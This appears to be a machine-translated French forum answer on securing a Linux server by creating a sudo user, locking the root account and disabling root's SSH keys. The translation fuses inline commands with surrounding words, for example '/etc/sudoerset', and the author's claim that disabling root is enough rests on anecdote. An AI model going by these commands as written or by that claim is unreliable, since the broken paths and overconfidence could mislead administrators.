Il existe quelques explications sur la façon de désactiver, rootmais je vais préciser par expérience personnelle que la plupart des choses qui vont au-delà de ce que je vais décrire maintenant sont excessives. Voici ce que vous auriez dû faire lors de la première installation du serveur:

1. Créez un nouvel utilisateur avec des sudodroits: Créez un nouvel utilisateur avec un nouveau nom, par exemple, en cooldudeutilisant une commande comme sudo adduser cooldudesi vous utilisiez Ubuntu ou un autre type de système Debian. Ensuite, éditez simplement le sudofichier manuellement en utilisant une commande comme celle-ci sudo nano /etc/sudoerset ajoutez une ligne comme celle située en cooldude ALL=(ALL:ALL) ALLdessous de la ligne équivalente à lire root ALL=(ALL:ALL) ALL. Ceci fait, connectez-vous en tant que cooldudeet testez la sudocommande avec une commande du type « sudo wquelque chose de basique et non destructif» pour voir si les sudodroits fonctionnent. Vous pourriez être invité à entrer un mot de passe. Ça marche? Tout bon! Passez à l'étape suivante.
2. Verrouiller le rootcompte: d' accord, maintenant qu'il cooldudeest responsable des sudodroits, connectez-vous en tant que cooldudeet exécutez cette commande pour verrouiller le compte root sudo passwd -l root. Si d’une manière ou d’une autre vous avez créé une paire de clés SSH root, ouvrez /root/.ssh/authorized_keyset retirez les clés. Ou mieux encore, il suffit de renommer le fichier authorized_keys_OFFcomme celui - ci, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFpour désactiver efficacement les clés SSH. Je préfère la version ultérieure, car vous avez toujours besoin d'une connexion sans mot de passe. Vous pouvez simplement déplacer ce fichier vers son nom d'origine et vous devriez être prêt à partir.

FWIW, j'ai géré des dizaines de serveurs Linux au cours des années (des décennies?) Et je sais par expérience que simplement désactiver rootet configurer un nouvel utilisateur doté de sudodroits est le moyen le plus simple et le plus simple de sécuriser un système Linux. Je n'ai jamais eu à faire face à aucun type de compromis via SSH une fois que celui-ci rootest désactivé. Et oui, vous pouvez voir des tentatives de connexion via le auth.logmais elles ne veulent rien dire; Si elle rootest désactivée, ces tentatives ne donneront jamais rien. Asseyez-vous et observez les tentatives infructueuses!